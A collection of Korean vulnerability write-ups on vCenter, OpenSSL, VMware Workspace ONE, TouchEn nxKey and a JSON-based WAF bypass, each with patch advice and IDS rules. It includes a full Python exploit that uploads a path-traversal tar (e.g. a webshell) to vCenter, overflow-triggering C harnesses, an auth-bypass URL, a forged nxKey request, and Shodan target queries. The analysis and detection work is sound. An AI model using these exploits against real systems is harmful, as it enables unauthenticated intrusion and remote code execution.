1. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2021-21972

- vSphere Client(HTML5)에는 vCenter Server의 업로드 관련 플러그인(uploadova)의 파일 업로드 취약점

 파일 업로드 후 원격 명령 실행으로 이어질 수 있음

 

영향받는 버전
- VMware vCenter Server 7.0 U1c 이전 7.x 버전
- VMware vCenter Server 6.7 U3I 이전 6.7 버전
- VMware vCenter Server 6.5 U3n 이전 6.5 버전
- VMware Cloud Foundation (vCenter 서버) 4.2 이전 4.x 버전
- VMware Cloud Foundation (vCenter 서버) 3.10.1.2 이전 3.x 버전

[사진 2] 쇼단 검색 화면 (http.title:"ID_VC_Welcome")

2. 분석

2.1 원인

- 공개된 PoC 확인 시 업로드 관련 플러그인(uploadova)을 이용해 악성 파일 업로드 후 원격 명령 입력을 시도

- uploadova 엔드포인트의 경로인 /ui/vropspluginui/rest/services/* 는 인증 없이 접근이 가능

[사진 3] uploadova 플러그인 코드의 취약한 부분

 

- [사진 3]의 코드는 다음과 같은 문제를 유발시킴

① uploadova 플로그인은 tar 압축 파일만 업로드 가능한 플러그인 > 압축 파일 확장자(.tar) 이름을 필터링되지 않음

② 아카이브 파일을 받아 /tmp/unicorn_ova_dir 경로에 해당 아카이브 파일을 열어 파일을 생성 > 생성되는 아카이브 내부의 파일 이름에 대한 검증이 없음

∴ 악성 파일을(ex. webshell) 업로드 후 원격 명령어 입력이 가능

 

[자신 4] PoC 화면

2.2 PoC

- 공개된 PoC를 확인 시 다음을 알 수 있음

① POST 메소드 사용

② /ui/vropspluginui/rest/services/uploadova URL 요청

③ .tar 확장자 파일을 업로드 시도

 

※ 대상 서버가 Windows인 경우

- .jsp 형식의 웹 쉘 등 악의적인 파일을

- C:\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\ 에 업로드 (인증 없이 접근 가능)

- 파일에 접근 및 원격 코드 실행

#!/usr/bin/python3

import argparse
import requests
import tarfile
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

ENDPOINT = '/ui/vropspluginui/rest/services/uploadova'

def check(ip):
    r = requests.get('https://' + ip + ENDPOINT, verify=False, timeout=30)
    if r.status_code == 405:
        print('[+] ' + ip + ' vulnerable to CVE-2021-21972!')
        return True
    else:
        print('[-] ' + ip + ' not vulnerable to CVE-2021-21972. Response code: ' + str(r.status_code) + '.')
        return False

def make_traversal_path(path, level=5, os="unix"):
    if os == "win":
        traversal = ".." + "\\"
        fullpath = traversal*level + path
        return fullpath.replace('/', '\\').replace('\\\\', '\\') 
    else:
        traversal = ".." + "/"
        fullpath = traversal*level + path
        return fullpath.replace('\\', '/').replace('//', '/')

def archive(file, path, os):
    tarf = tarfile.open('exploit.tar', 'w')
    fullpath = make_traversal_path(path, level=5, os=os)
    print('[+] Adding ' + file + ' as ' + fullpath + ' to archive')
    tarf.add(file, fullpath)
    tarf.close()
    print('[+] Wrote ' + file + ' to exploit.tar on local filesystem')

def post(ip):
    r = requests.post('https://' + ip + ENDPOINT, files={'uploadFile':open('exploit.tar', 'rb')}, verify=False, timeout=30)
    if r.status_code == 200 and r.text == 'SUCCESS':
        print('[+] File uploaded successfully')
    else:
        print('[-] File failed to upload the archive. The service may not have permissions for the specified path')
        print('[-] Status Code: ' + str(r.status_code) + ', Response:\n' + r.text) 

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-f', '--file', help='The file to tar')
    parser.add_argument('-p', '--path', help='The path to extract the file to on target')
    parser.add_argument('-o', '--operating-system', help='The operating system of the VCSA server')
    args = parser.parse_args()
    
    vulnerable = check(args.target)
    if vulnerable and (args.file and args.path and args.operating_system):
        archive(args.file, args.path, args.operating_system)
        post(args.target)

 

3. 대응방안

3.1 서버측면

① 최신 버전의 업데이트 적용

- VMware vCenter Server 7.0 U1c
- VMware vCenter Server 6.7 U3I
- VMware vCenter Server 6.5 U3n
- VMware Cloud Foundation (vCenter 서버) 4.2
- VMware Cloud Foundation (vCenter 서버) 3.10.1.2

 

3.2 네트워크 측면

① 보안장비에 취약점을 이용한 공격 시도를 탐지할 수 있는 정책 적용

alert tcp any any -> any any (msg:"VMware vCenter Server Uploadova (CVE-2021-21972)"; flow:established,from_client; content:"POST"; depth:4; content:"ui/vropspluginui/rest/services/uploadova"; distance:1;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2021-21972

- https://vulmon.com/vulnerabilitydetails?qid=CVE-2021-21972

- https://www.shodan.io/search?query=http.title:%22ID_VC_Welcome%22

https://reconshell.com/cve-2021-21972-vcenter-rce-vulnerability-analysis/

- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=35925

https://kb.vmware.com/s/article/82374

https://www.vmware.com/security/advisories/VMSA-2021-0002.html

https://swarm.ptsecurity.com/unauth-rce-vmware/

https://github.com/horizon3ai/CVE-2021-21972/blob/master/CVE-2021-21972.py

1. OpenSSL

- 보안 통신에 사용되는 SSL 및 TLS 프로토콜의 오픈소스 라이브러리

- 여러 운영 체제와 광범위한 소프트웨어에 포함

 

/index.html

Welcome to OpenSSL! The OpenSSL Project develops and maintains the OpenSSL software - a robust, commercial-grade, full-featured toolkit for general-purpose cryptography and secure communication. The project’s technical decision making is managed by the O

www.openssl.org

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2022-3602
[사진 2] https://nvd.nist.gov/vuln/detail/CVE-2022-3786

- OpenSSL에서 X.509 인증서의 이메일 주소 이름 제약 조건 검사 기능 수행 중 버퍼 오버 플로우가 발생 가능

① CVE-2022-3602 : 조작된 이메일 주소가 공격자가 제어하는 스택에서 정확히 4바이트 오버플로를 허용

② CVE-2022-3786 : "." 문자(마침표)가 있는 스택에서 임의의 바이트 수를 오버플로하여 서비스 거부 유발

- Heartbleed(2016) 이후 OpenSSL에서 처음 나온 치명적인 취약점

영향받는 버전
OpenSSL 3.0.0 ~ 3.0.6

 

2.1 분석

- X.509 인증서를 확인하는 동안 Punycodeossl_punycode_decode()에서잘못 처리하여 발생

- 공격자는 BoF를 트리거하도록 특수하게 조작된 퓨니코드로 인코딩된 이메일 주소를 포함하여 Exploit 수행

퓨니코드(Puny Code)
- 유니코드 문자열을 호스트 이름에서 허용된 문자만으로 인코딩하는 방법
- ASCII 문자 집합으로 표시할 수 없는 문자를 인코딩
- OpenSSL 3.0.0에서 도입
- 변환된 퓨니코드 문자열에는 예약된 접두어 "xn--"을 덧붙임
ex) 한국 =>  xn--3e0b707e.kr

참고 : https://ko.wikipedia.org/wiki/%ED%93%A8%EB%8B%88%EC%BD%94%EB%93%9C

 

- CVE-2022-3602, CVE-2022-3786 공격 패킷은 다음과 같음

[사진 3] CVE-2022-3602 공격 패킷 일부
[사진 4] CVE-2022-3786 공격 패킷 일부

2.2 PoC

2.2.1 CVE-2022-3602

#include <locale.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>

// Edit to change the test string
#define TEST_STRING "hello! -gr25faaaaaaaaaaaaa"

// Edit to change the output buffer's length
#define DECODED_LENGTH 20

int ossl_punycode_decode(const char *pEncoded, const size_t enc_len, unsigned int *pDecoded, unsigned int *pout_length);

int main(int argc, char *argv[])
{
  setlocale(LC_CTYPE, "");

  uint32_t *decoded = (uint32_t*) malloc(DECODED_LENGTH * 4);
  unsigned int decoded_len = DECODED_LENGTH;

  if(!ossl_punycode_decode(TEST_STRING, strlen(TEST_STRING), decoded, &decoded_len)) {
    printf("Encoding failed!\n");
    free(decoded);
    exit(1);
  }

  printf("encoded: [%ld] %s\n", strlen(TEST_STRING), TEST_STRING);
  printf("decoded: [%d] ", decoded_len);

  int i;
  for(i = 0; i < decoded_len; i++) {
    printf("%lc", decoded[i]);
  }
  printf("\n");

  free(decoded);
  return 0;
}

 

2.2.2 CVE-2022-3786

#include <locale.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>

int ossl_a2ulabel(const char *in, char *out, size_t *outlen);

int main(int argc, char *argv[])
{
  setlocale(LC_CTYPE, "");

  char *teststring = "a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--";
  char out[16];
  size_t outlen = sizeof(out);

  int result = ossl_a2ulabel(teststring, out, &outlen);

  if(result == 1) {
    printf("Ok: [%ld] %s\n", outlen, out);
  } else if(result == 0) {
    printf("Too short: [%ld : %ld] %s\n", outlen, strlen(out), out);
  } else {
    printf("Bad string\n");
    exit(0);
  }

  return 0;
}

 

3. 대응방안

3.1 서버측면

① 사용중인 OpenSSL 버전을 확인하여 취약한 버전일 경우 벤더사에서 제공하는 최신 패치를 적용한다.

- 해당 취약점은 OpenSSL 3.0.7에서 패치

- OpenSSL 버전 확인 방법 참고

 

OpenSSL 버전 확인 - 제타위키

다음 문자열 포함...

zetawiki.com

- OpenSSL 3.0.7의 ossl_punycode_decode()를 확인해보면 BoF 검증을 위한 코드가 추가된 것으로 판단됨.

 

Fix CVE-2022-3786 in punycode decoder. · openssl/openssl@c42165b

Fixed the ossl_a2ulabel() function which also contained a potential buffer overflow, albeit without control of the contents. This overflow could result in a crash (causing a denial of service). Th...

github.com

 

② 업데이트 적용이 어려울 경우

- TLS 서버는 TLS 클라이언트 인증을 사용 중인 경우 수정 사항이 적용될 때까지 해당 기능을 비활성화

 

3.2 네트워크 측면

① 보안 솔루션에 취약점 탐지 정책 적용

alert tls $EXTERNAL_NET any -> $HOME_NET any (msg:"ET EXPLOIT Possible OpenSSL Punycode Email Address Buffer Overflow Attempt Inbound (CVE-2022-3602)"; flow:established,to_client; tls.certs; content:"|06 03 55 1d 1e|"; content:"xn--"; fast_pattern; within:30; byte_test:2,>,513,-6,relative; reference:url,www.openssl.org/news/secadv/20221101.txt; reference:cve,2022-3602; classtype:attempted-admin; sid:2039618; rev:1; metadata:attack_target Server, created_at 2022_11_01, cve CVE_2022_3602, deployment Perimeter, former_category EXPLOIT, performance_impact Significant, signature_severity Major, updated_at 2022_11_02;)

alert tls $HOME_NET any -> any any (msg:"ET EXPLOIT Possible OpenSSL Punycode Email Address Buffer Overflow Attempt Outbound (CVE-2022-3602)"; flow:established,to_server; content:"|06 03 55 1d 1e|"; content:"xn--"; fast_pattern; within:30; byte_test:2,>,513,-6,relative; reference:url,www.openssl.org/news/secadv/20221101.txt; reference:cve,2022-3602; classtype:attempted-admin; sid:2039619; rev:1; metadata:attack_target Server, created_at 2022_11_02, cve CVE_2022_3602, deployment Perimeter, former_category EXPLOIT, performance_impact Significant, signature_severity Major, updated_at 2022_11_02;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2022-3602

https://nvd.nist.gov/vuln/detail/CVE-2022-3786

https://www.openssl.org/news/secadv/20221101.txt

https://www.tenable.com/blog/cve-2022-3786-and-cve-2022-3602-openssl-patches-two-high-severity-vulnerabilities

https://github.com/NCSC-NL/OpenSSL-2022/tree/main/software

https://github.com/openssl/openssl/commit/c42165b5706e42f67ef8ef4c351a9a4c5d21639a

https://github.com/rbowes-r7/cve-2022-3602-and-cve-2022-3786-openssl-poc/blob/main/cve-2022-3602-4byteoverwrite.c

https://github.com/rbowes-r7/cve-2022-3602-and-cve-2022-3786-openssl-poc/blob/main/cve-2022-3786-periods.c

https://github.com/splunk/security_content/pull/2450

https://www.forescout.com/blog/openssl-cve-2022-3602-and-cve-2022-3786-spooky-ssl-what-they-are-and-how-to-mitigate-risk/

- https://wins21.co.kr/kor/promotion/information.html?bmain=view&uid=3442&search=%26depth1%3D%26find_field%3Dtitle%26find_word%3DX509%26page%3D1

- https://www.boannews.com/media/view.asp?idx=111249

https://zetawiki.com/wiki/OpenSSL_%EB%B2%84%EC%A0%84_%ED%99%95%EC%9D%B8

1. VMware 

- 클라우드 컴퓨팅 및 가상화 소프트웨어를 판매하는 기업

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2022-31656

- VM 제품군의 UI에 네트워크 액세스 권한이 있는 공격자가 인증 없이 관리자 권한을 얻을 수 있는 취약점 (CVSS 9.8)

영향받는 버전
- VMware Workspace ONE Access 21.08.0.0
- VMware Workspace ONE Access 21.08.0.1
- VMware Workspace ONE Access Connector 22.05
- VMware Workspace ONE Access Connector 21.08.0.0
- VMware Workspace ONE Access Connector 21.08.0.1

- VMware Identity Manager 3.3.4 ~ 3.3.6
- VMware Identity Manager Connector 3.3.4 ~ 3.3.6
- VMware Identity Manager Connector 19.03.0.1

- VMware vRealize Automation 8.x
- VMware vRealize Automation 7.6

- VMware Cloud Foundation (vIDM) 4.2.x, 4.3.x, 4.4.x
- VMware Cloud Foundation (vRA) 3.x

- vRealize Suite Lifecycle Manager (vIDM) 8.x

 

2.1 분석

- VMware 제품의 JAVA 웹에는 다양한 필터 계층이 존재함

- 그 중 UrlRewriteFilter 계층사전 정의된 규칙을 기반으로 내부 서블릿에 요청을 매핑하는 역할을 수행(WEB-INF/urlrewrite.xml)

 

- 아래 [사진 2]에서 처럼 요청 중 정규식 "^/t/([^/])($|/)(((?!META-INF| WEB-INF).))$"에 일치하는 경로가 "/$3" 에 매핑됨.

※ WEB-INF 및 META-INF 폴더의 파일에 접근 가능한 CVE-2021-26085, CVE-2021-26086 취약점과 유사

- 정규식에의해 "/SAAS/t/_/;/WEB-INF/web.xml" 와 같이 요청하면 "/WEB-INF/web.xml"에 매핑됨

[사진 2] UrlRewriteFilter 규칙 및 매핑

 

- 이후 UrlRewrite.NormalRewrittenUrl.doRewrite() > getRequestDispatcher() 순으로 호출

- getRequestDispatcher()는 한 서블릿에서 다른 서블릿으로 요청을 포워드하는 기능을 제공

- 정규식에 의해 매핑된 /WEB-INF/web.xml를 인자로 사용하여 해당 자원에 액세스가 가능해짐

※ [사진 3]에서 CVE-2022-22972(VMware 인증 우회 취약점)에 대해 적용된 패치

[사진 3] 동작과정 정리

 

- 공격자들을 /SAAS/t/_/;/auth/login/embeddedauthbroker/callback URL로 요청하여 Exploit 수행

[사진 4] PoC 화면

3. 대응방안

3.1 서버측면

① 벤더사에서 제공하는 패치 적용

 

VMware Knowledge Base

 

kb.vmware.com

 

3.2 네트워크 측면

① 취약점을 이용한 공격 시도를 탐지할 수 있는 정책 적용

- /SAAS/t/_/;/

alert tcp any any -> any any (msg:"VMware Auth Bypass Detected (CVE-2022–31656)"; content:"POST /SAAS/t/_/;/"; depth:17;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2022-31656

https://kb.vmware.com/s/article/89096

https://www.vmware.com/security/advisories/VMSA-2022-0021.html

- https://petrusviet.medium.com/dancing-on-the-architecture-of-vmware-workspace-one-access-eng-ad592ae1b6dd

- https://research.kudelskisecurity.com/2022/08/10/critical-vmware-authentication-bypass-and-rce-vulnerabilities-cve-2022-31656-and-cve-2022-31659/

- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66856&queryString=cGFnZT0yJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PXRpdGxlX25hbWUmc2VhcmNoX3dvcmQ9 

 

1. TouchEnxKey

- 라온시큐어사의 키보드 보안 프로그램 - 키보드 입력을 암호화하여 키로거 방지

- 브라우저 확장 프로그램으로 설치

 

1.1 TouchEnxKey 동작 방식

- TouchEnxKey를 사용할 경우 웹사이트에서 실행되는 자바스크립트 코드와 일부 서버 측 코드로 구성된 nxKey SDK와 함께 동작

① nxKey SDK를 사용하는 웹 사이트에서 암호 필드를 입력
② nxKey SDK의 JavaScript 코드가 이를 감지하여 로컬 nxKey 응용 프로그램 호출
③ nxKey 응용 프로그램은 윈도우즈 커널에서 장치 드라이버를 활성화
④ 장치 드라이버가 모든 키보드 입력을 가로채 nxKey 응용 프로그램으로 전송
⑤ nxKey 응용 프로그램은 키보드 입력을 암호화하여 nxKey SDK의 JavaScript 코드로 전송
⑥ 자바스크립트 코드는 암호화된 데이터를 숨겨진 형태의 필드에 작성

※ 실제 암호 필드는 더미 텍스트만 수신
⑦ 로그인 자격 증명 입력을 완료하고 "로그인" 클릭
⑧ 암호화된 키보드 입력은 다른 데이터와 함께 서버로 전송
⑨ nxKey SDK의 서버 측 부분은 암호를 해독하고 일반 텍스트 암호를 검색

 

>  사용자의 입력값을 nxKey가 가로채어 암호화 및 숨겨진 필드에 작성

>  서버측 nxKey SDK에서 복호화 및 로그인 시도 검증

>  키로거는 nxKey에 의해 암호화된 데이터만을 볼 수 있으며, 개인 키가 없으므로 복호화를 수행하지 못함

 

[사진 1] 웹 사이트와 TouchEnxKey 통신 방식 비교 (과거-좌 및 현재-우)

- 과거 : 브라우저 확장을 통해 웹 사이트와 응용 프로그램 사이에서 동작하며 요청과 응답을 중재 

- 현재 : 웹 사이트에서 웹 소켓 API를 사용하여 응용 프로그램과 직접 통신 즉, 브라우저 확장은 더 이상 필요하지 않음

> 일부 은행 사이트들은 브라우저 확장에 의존하는 오래된 코드를 사용

 

2. 취약점

- 설계상 주요 로깅 기능을 포함하고 있으며, 해당 기능에 대한 액세스를 충분히 제한하지 못함

- 단순 서비스 거부에서부터 원격 코드 실행을 유발하는 다양한 버그가 존재

 

2.1 TouchEn 확장 기능을 악용하여 은행 웹 사이트 공격

- eval()은 문자로 표현된 JavaScript 코드를 실행하는 함수

- TouchEn browser extension의 코드 중 주석처리된 eval()이 존재 > 코드 품질의 문제가 있을 가능성

result = JSON.parse(result);
var cbfunction = result.callback;

var reply = JSON.stringify(result.reply);
var script_str = cbfunction + "(" + reply + ");";
//eval(script_str);
if(typeof window[cbfunction] == 'function')
{
  window[cbfunction](reply);
}

 

- 콜백 메커니즘에서 악용 가능성이 발견되었으며, 악의적인 웹 페이지를 콜백 하도록 조작이 쉽게 가능하였음

※ 일부 이벤트에대해 웹 사이트에서 setcallback 요청을 전송

- 조작을 위해서는 2가지 조건이 필요

대상 웹 페이지에 id="setcallback" 매개변수가 존재해야 함

> 이는, nxKey SDK를 사용하는 웹 사이트만 공격할 수 있다는 것을 의미

※ WebSockets를 통한 통신은 이 요소를 생성하지 않음 즉, 최신 nxKey SDK를 사용하는 웹 사이트는 영향을 받지 않음

콜백은 특정 탭으로 전달

> 현재 탭에 로드된 페이지, 예를 들어 프레임에 로드된 페이지만 공격할 수 있다는 것을 의미

 

- 응용 프로그램이 요청을 처리하기 위해 JSON 파서를 사용하는 동안 응답은 sprintf_s()를 통해 처리되며, 이때 필터링이 수행되지 않음

> id 값은 응용 프로그램의 응답에 복사 - 취약점 발생 지점

> 공격자는 tabid 값을 알아낼 필요 有 - TouchEn 확장이 노출하는 tabid로 추측 또는 빈 값으로 설정(빈 값일 경우 현재 활성 탭으로 설정)

 

- 위 과정에 따른 공격 시나리오는 다음과 같음

① 은행 웹 사이트를 열어 활성 탭 생성
② 페이지가 로드될 때까지 기다렸다가 id="setcallback" 요소 확인
③ 일부 기능에 대한 콜백을 설정하기 위해 TouchEn 확장을 통해 콜백 메시지를 보내는 동시에 JSON 응답 속성을 "tabid":" 및 "reply":"malicious payload"로 조작하여 요청
④ 악성 페이로드를 매개 변수로 하여 은행 웹사이트에서 콜백 기능이 호출

[사진 2] 실제 공격 화면

2.2 웹 사이트의 키로깅 기능 사용

- 공격자 스스로 TouchEnxKey를 사용한 웹 페이지를 구성 - 피싱과 유사한 형태로 판단됨.

- 웹 사이트에서 TouchEnxKey를 사용하기 위해서는 유효한 라이센스가 필요

- TouchEnxKey는 요청 정보의 유효성이 아닌 라이선스 정보를 통해 식별

> TouchEnxKey가 암호화를 위한 공개 키를 수신하지 못하면 암호화하지 않고 평문을 전송

> 해당 방법은 가로챈 입력이 실제 유효한 사이트에 도달하지 못하므로, 의심을 유발할 수 있음

socket.send(JSON.stringify({
  "tabid": "whatever",
  "init": "get_versions",
  "m": "nxkey",
  "origin": "https://www.example.com",
  "lic": "eyJ2ZXJzaW9uIjoiMS4wIiwiaXNzdWVfZGF0ZSI6IjIwMzAwMTAxMTIwMDAwIiwicHJvdG9jb2xfbmFtZSI6InRvdWNoZW5leCIsInV1aWQiOiIwMTIzNDU2Nzg5YWJjZGVmIiwibGljZW5zZSI6IldlMkVtUDZjajhOUVIvTk81L3VNQXRVd0EwQzB1RXFzRnRsTVQ1Y29FVkJpSTlYdXZCL1VCVVlHWlY2MVBGdnYvVUJlb1N6ZitSY285Q1d6UUZWSFlCcXhOcGxiZDI3Z2d0bFJNOUhETzdzPSJ9"
}));

 

2.3 응용프로그램 자체 공격

- TouchEnxKey는 sprintf_s() 또는 strcpy_s()와 같은 버퍼 오버플로우에 상대적으로 안전한 함수를 사용

> 충분히 큰 버퍼를 제공하지 못하면 잘못된 매개 변수 처리기가 호출되며, 이로 인해 애플리케이션이 다운이 발생

 

- 모든 JSON 파서 중에서 nxKey 애플리케이션 개발자들은 C로 작성된 것을 선택(https://github.com/json-parser/json-parser/)

> github의 업데이트 사항이 반영되지 않음 (2014.01~)

> 2014년 6월 수정이 반영되지 않음

 

- 취약한 OpenSSL 사용

> OpenSSL 1.0.2c를 사용중으로 이는 2015년에 공개된 버전이며, 2020년 1월 지원이 종료된 버전

[사진 3] openssl-1.0.2c

2.4 도우미 응용 프로그램 남용

- nxKey가 키보드 입력을 가로챌 때마다 CKAgentNXE.exe 도우미 애플리케이션이 시작

- CKAgentNXE.exe가 무결성 수준이 낮은 프로세스에서 액세스할 수 있도록 IPC 개체에 대한 보안 설명자를 설정함

- 또한, 레지스트리 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy 경로 추가

> TouchEn Key가 Internet Explorer에서 ActiveX로 실행될 때 무결성 수준은 낮음으로 실행됨

 

2.5 드라이버의 키로깅 기능을 직접 액세스

- TouchEnxKey 응용 프로그램(드라이버로부터 받은 키보드 입력을 암호화하는 응용 프로그램)은 사용자 권한으로 실행

- 드라이버 통신을 하는 라이브러리인 TKPPM.dll은 Temida를 사용하여 난독화

> 런타임에 디버거를 연결하면 이미 해독된 TKAppm.dll 메모리를 저장하고 분석을 위해 결과를 Gidra에 로드가 가능하였다고 함

 

3. 조치

- 블라디미르 팔란트

> 2022년 10월 4일 KrCERT에 보고

> KrCERT는 약 2주 후에 내 보고서를 RaonSecure에 전달

 

- 라온시큐어 관계자
> 해당 내용은 이미 작년에 KrCert를 통해 모두 전달받음
> 취약점을 보완하는 패치가 모두 이뤄진 상태
> 보완된 프로그램을 각 은행을 통해 배포하는 절차만 남겨놓은 상황

> 2023.02 업데이트 공개

① TouchEn nxKey 및 CrossEXService에서 발생하는 크로스 사이트 스크립팅(XSS) 취약점

※ CrossEXService: TouchEn nxKey 설치 시 함께 설치되는 프로그램으로 TouchEn nxKey 재설치 시 함께 업데이트 됨

② 위즈베라의 Veraport V3에서 발생하는 정보 노출 취약점

제품명 영향받는 버전 해결 버전
TouchEn nxKey 1.0.0.78 이하 1.0.0.82
CrossEXService 1.0.2.9 이하 1.0.2.10 
Veraport V3 v3702~v3863 v3864

> 해결 방안

① 서비스 운영자: 라온시큐어, 위즈베라를 통해 최신버전 교체

② 서비스 이용자

- TouchEn nxKey, CrossEXService, Veraport V3가 설치되어 있는 경우 제거 후 최신버전 업데이트

※ [제어판]-[프로그램]-[프로그램 및 기능]

- 이용 중인 금융사이트에 접속하여 해결된 버전의 프로그램 재설치

※ 금융사이트별 취약한 프로그램 패치 일정은 상이하므로 확인 필요

 

4. 참고

 

TouchEn nxKey: The keylogging anti-keylogger solution

TouchEn nxKey is supposed to combat keyloggers. Instead, this application made writing a keylogger extremely simple, allowed attacking banking websites and more.

palant.info

 

독일 개발자 “한국 은행 사이트, 매우 불편하고 위험해”

독일의 유명 개발자 블라디미르 팔란트(Wladimir Palant)가 최근 우리나라 보안 프로그램을 정면으로 비판하고 나서 화제다. 팔란트는 세계에서 가장 많이 쓰이는 광고차단 프로그램 ‘애드블록 플

n.news.naver.com

 

[긴급] 라온시큐어 및 위즈베라의 금융보안 솔루션, 보안 업데이트 서둘러야

금융보안 솔루션을 금융권 등에 공급하는 라온시큐어와 위즈베라가 자사 제품에서 발생하는 취약점을 해결한 보안 업데이트를 발표했다. 공격자들이 해당 취약점을 악용해 피해를 발생시킬 수

www.boannews.com

 

KISA 인터넷 보호나라&KrCERT

KISA 인터넷 보호나라&KrCERT

www.boho.or.kr

개요 - 독일의 개발자 블라디미르 팔란트(Wladimir Palant)가 최근 우리나라 보안 프로그램을 정면으로 비판
※ 블라디미르 팔란트(Wladimir Palant) : 광고차단 프로그램 '애드블록 플러스(Adblock Plus)' 개발자

- 우리나라 은행 사이트를 이용하는 데에 상당히 많은 장애물이 도사리고 있다고 지적
① 사이트에 한 번 들어가려면 보안 프로그램을 5~6개씩 설치 > 로딩 속도가 느려짐
② 여러 은행을 이용 > 같은 보안 프로그램의 서로 다른 버전을 중복해서 설치
③ 이러한 과정에서 보안 취약점이 발생 >  프로그램의 상당수가 최신 기술을 적용하지 않는다는 것
> 오래된 프로그래밍 언어로 짜여 있어 초보적인 해킹에 취약
> 10년이 넘은 라이브러리를 사용
내용 - 구체적으로 어떤 프로그램이 취약점을 가졌는지는 명확히 밝히지는 않았으나, 총 5개의 프로그램이 드러나 있음
① INISAFE
② AhnLab Online Security 
③ TouchEn nKey 
④ IPInside-LWS 
⑤ Copy Certificates to Smartphones 

- 1월 9일을 시작으로 매 2주 마다 본인 블로그에 보안 프로그램 1개씩, 총 4종의 취약점을 보고 공언

- 지난해 10월 4일 한국인터넷진흥원 인터넷침해사고대응지원센터(KrCert)를 통해 이 문제를 신고
> 3개월이 넘게 어떠한 회신도 받지 못했다고 주장
> “프로그램 제작사 측에서 아무런 연락을 주지 않았으며 현재 최신 버전 프로그램에도 지적한 문제점이 그대로 남아 있다"
참고 - 라온시큐어 관계자
>  “해당 내용은 이미 작년에 KrCert를 통해 모두 전달받았고, 취약점을 보완하는 패치가 모두 이뤄진 상태”
>  “보완된 프로그램을 각 은행을 통해 배포하는 절차만 남겨놓은 상황”

 

뉴스

 

독일 개발자 “한국 은행 사이트, 매우 불편하고 위험해”

독일의 유명 개발자 블라디미르 팔란트(Wladimir Palant)가 최근 우리나라 보안 프로그램을 정면으로 비판하고 나서 화제다. 팔란트는 세계에서 가장 많이 쓰이는 광고차단 프로그램 ‘애드블록 플

n.news.naver.com

 

블라디미르 팔란트(Wladimir Palant) 블로그

 

South Korea’s online security dead end

Websites in South Korea often require installation of “security applications.” Not only do these mandatory applications not help security, way too often they introduce issues.

palant.info

1. 개요

-  Team82에서 웹 애플리케이션 방화벽(WAF)의 우회방법을 개발

※ 관련 WAF 공급 업체 : Palo Alto Networks, Amazon Web Services, Cloudflare, F5 Big-IP, Imperva

- 공격 방법은 WAF가 구문 분석할 수 없는 SQL Injection 페이로드에 JSON 구문을 추가하는 것

- 대부분의 WAF는 SQL Injection 공격을 쉽게 감지 하지만 SQL 구문에 JSON을 추가하면 WAF 우회가 가능

※ WAF 공급업체는 대부분의 데이터베이스 엔진에서 JSON을 지원했음에도 불구하고 제품에서 JSON 지원이 부족

- 위 5개 업체 모두 SQL Injection 검사 프로세스에 JSON 구문을 지원하도록 업데이트 적용

- 해당 기법을 악용해 타제품 WAF 우회 및 공격이 가능하므로, 패치 적용 또는 관련 설정이 필요

 

2. SQL과 JSON

- 현대에 JSON은 데이터 저장 및 전송의 주요 형식 중 하나로 자리잡음

- JSON 구문을 지원하고 개발자가 다른 애플리케이션에서 데이터와 상호 작용하는 방식과 유사한 방식으로 데이터와 상호 작용할 수 있도록 하려면 SQL에서 JSON 지원이 필요했음

 

- 현재 모든 주요 관계형 데이터베이스 엔진은 기본 JSON 구문을 지원함

※ MSSQL, PostgreSQL, SQLite, MySQL이 포함

- 최신 버전에서는 모든 데이터베이스 엔진이 기본적으로 JSON 구문을 활성화하므로 오늘날 대부분의 데이터베이스 설정에서 널리 사용됨

 

- 개발자는 여러 이유로 SQL 데이터베이스 내에서 JSON 기능을 사용하기로 선택

① 많은 백엔드가 이미 JSON 데이터로 작업

> SQL 엔진 자체에서 모든 데이터 조작 및 전환을 수행하면 필요한 데이터베이스 호출 수가 줄어듦

② JSON 데이터 형식은 데이터베이스 백엔드 API에서 가장 많이 사용하는 형식

> JSON 데이터 형식으로 작동할 수 있는 경우 데이터 전,후처리가 덜 필요하므로 애플리케이션에서 먼저 변환할 필요 없이 즉시 사용이 가능

∴ SQL에서 JSON을 사용할 경우 더 나은 성능과 효율성 즉, 리소스 절약이 가능함

[사진 1] SQL에서 JSON을 사용하는 데이터 흐름

 

- 각 데이터베이스는 서로 다른 구현 및 JSON 파서를 선택했으며, 모두 JSON 데이터 유형과 기본 JSON 검색 및 수정을 지원

[사진 2] 데이터베이스 별 JSON 지원 수준

 

- 그러나 모든 데이터베이스 엔진이 JSON에 대한 지원을 추가했지만 모든 보안장비가 JSON에 대한 지원을 추가한 것은 아님

∴ 보안장비와 실제 데이터베이스 엔진 간의 구문 분석 기본 요소가 일치하지 않아 SQL 구문이 잘못 식별될 수 있음

> 결과적으로 JSON은 WAF의 파서와 데이터베이스 엔진 간의 불일치로 인한 문제

 

3. 취약점

- JSON 구문을 사용하면 새 SQL Injection 페이로드를 만들 수 있음

- 이러한 페이로드는 일반적으로 알려지지 않았기 때문에 보안장비를 우회하는 데 사용될 수 있음

PostgreSQL: '{"b":2}'::jsonb <@ '{"a":1, "b":2}'::json
> b Is the left JSON contained in the right one? True.

